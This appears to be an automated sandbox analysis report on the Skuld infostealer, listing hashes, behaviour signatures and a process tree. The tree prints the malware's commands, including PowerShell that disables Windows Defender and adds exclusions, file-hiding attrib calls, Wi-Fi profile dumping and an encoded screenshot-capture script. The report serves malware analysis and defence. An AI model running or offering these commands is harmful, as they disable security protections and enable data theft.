Analysis

  • max time kernel
    90s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-07-2024 14:28

General

  • Target

    skuld.sfx.exe

  • Size

    3.7MB

  • MD5

    69f045b706e34f7b013a1b3ef972b1f2

  • SHA1

    0078959f87e4de4735def1ee9fcd99592757000b

  • SHA256

    a2ce7baa72bb51468a0e92846530a8adc036fbf7ecdaaa40d0b68e86bb0d23e0

  • SHA512

    294557695432f1c09e464c012ab330ca494fa9055c946e07b38723821e21ca646cf733a335bc29f343ba7b3c2eb18e51760bb7e7553682d9d315d38762eb9acd

  • SSDEEP

    49152:t84a+Ka/iNj4WLG1cNLsvhZmKrniMrbokZPVuJqfK8eyl5LVPELrG0GR7Efp:tEXFegvKdYkZPYJoqyl5xPaNfp

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4780
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Maps connected drives based on registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4468
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        3⤵
        • Views/modifies file attributes
        PID:5028
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        3⤵
        • Views/modifies file attributes
        PID:4608
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4444
      • C:\Windows\System32\Wbem\wmic.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious use of AdjustPrivilegeToken
        PID:4964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2776
      • C:\Windows\System32\Wbem\wmic.exe
        wmic os get Caption
        3⤵
          PID:3984
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get Name
          3⤵
            PID:1240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4028
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:4832
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            3⤵
              PID:4112
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:1008
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:1856
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              3⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:2268
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4508
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\orkatsla\orkatsla.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2828
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDC27.tmp" "c:\Users\Admin\AppData\Local\Temp\orkatsla\CSCB06B02B8EE9B4077A7EA45323552DF1.TMP"
                  5⤵
                    PID:4560

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            6d3e9c29fe44e90aae6ed30ccf799ca8

            SHA1

            c7974ef72264bbdf13a2793ccf1aed11bc565dce

            SHA256

            2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

            SHA512

            60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            dbb22d95851b93abf2afe8fb96a8e544

            SHA1

            920ec5fdb323537bcf78f7e29a4fc274e657f7a4

            SHA256

            e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

            SHA512

            16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

          • C:\Users\Admin\AppData\Local\Temp\5ckME4FlOw\Display (1).png

            Filesize

            423KB

            MD5

            5c20cfdb3747074aa8517953680d0d5b

            SHA1

            c173811021e6ac816767720d020da3fa9a691cc6

            SHA256

            5be3279fbea7ff3acf7bc3244097eacab4a18113117b96381d067e39da84eaa5

            SHA512

            aca0f6cf9990125ea8fc446dab5120d48342b73bfef855d4a3d6cf3214929532df2cdbc9217949c7bc4be74873fb66eab296abc5dd7de39a9c0ac88bc2001d0b

          • C:\Users\Admin\AppData\Local\Temp\RESDC27.tmp

            Filesize

            1KB

            MD5

            3579ed6c193aa42fb01a629f74fafda6

            SHA1

            c45431509489e84cb5de6f21b2386c00c3b8d07e

            SHA256

            e9974dcad0a7a8dcbbbd631de878d78bf132c869731fe8e88c7fd3eec59dbe44

            SHA512

            4eb8157f12916248f2410607c17cf59770ae9de846e8d3926dd8865bd9970aaf6e36e875ea9429d0def20392956cfd9463af59eae11263b34f01dd15f14be347

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe

            Filesize

            9.5MB

            MD5

            3ffb6b537cbb924e0ccfa2431a649ef3

            SHA1

            f813990a27cae2137fc0f7a3ec1e62462cda6f60

            SHA256

            4a1378fc9481b9815a286c7319c1f9d9da43aef1087c4ea5153f7111e50152bb

            SHA512

            6e60fa40b2d9e406b4682b9957823aa090fe52b4521d27305d9e5c953d0fdc9514127b0301e91a21a1a06d3ac991ba97325cc91d8fc2abee6eeb87f0eef9e926

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rz0kjgl2.4od.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\orkatsla\orkatsla.dll

            Filesize

            4KB

            MD5

            a03128c9d103223c27c72ef8bf4876a8

            SHA1

            e467e1546b93dc8130a681996a3e218f9e3c772c

            SHA256

            1578ed65a56d0e9a2a6e699677dead8e45ae7e8909c1d4480b652e62c4b25a46

            SHA512

            ab67822bf2658d648e5fc203263636e6ab3d8a7e62be7fc36767e1e87c0947d1c9d8d9a8e0e8bd5462fce5e19d8524349e0dc84f8d28513549cc8ec280927c2c

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\orkatsla\CSCB06B02B8EE9B4077A7EA45323552DF1.TMP

            Filesize

            652B

            MD5

            01e0c308b80df5ac7b4a03bc493415ef

            SHA1

            6bf9bd39d6bf5e8f79e3a0f406e89d59b117de17

            SHA256

            6e391305f52654ede7bd4cbefcd6069d565098f202b2e4f28f4a3c7794425651

            SHA512

            8b32047499dcad328eca2decf9890373bec371365efd815108084433a8c561bd01273dfc4f1c039ea68e0ca071e386af08dda8968be480f0a0fa07863d55d8cf

          • \??\c:\Users\Admin\AppData\Local\Temp\orkatsla\orkatsla.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\orkatsla\orkatsla.cmdline

            Filesize

            607B

            MD5

            47a35eff9104b93df1fb3bf01b2c95c1

            SHA1

            8485dab916e157f6c250fd6b1e2cc1384c091727

            SHA256

            1682ee52421d2ca8be98665a1773666c6b55b7968cdcb8b980afdcf8a3b4ec7b

            SHA512

            848498788af64ab526731000bcbf157e3b94e5a64dde7312ef21b298fae7dc7c0eda855e2dbf23924fd156ee317a598e132bbaa4f0fe9da310e92162acb21a9e

          • memory/2776-22-0x0000025FF9750000-0x0000025FF9772000-memory.dmp

            Filesize

            136KB

          • memory/4508-67-0x000001E73EBD0000-0x000001E73EBD8000-memory.dmp

            Filesize

            32KB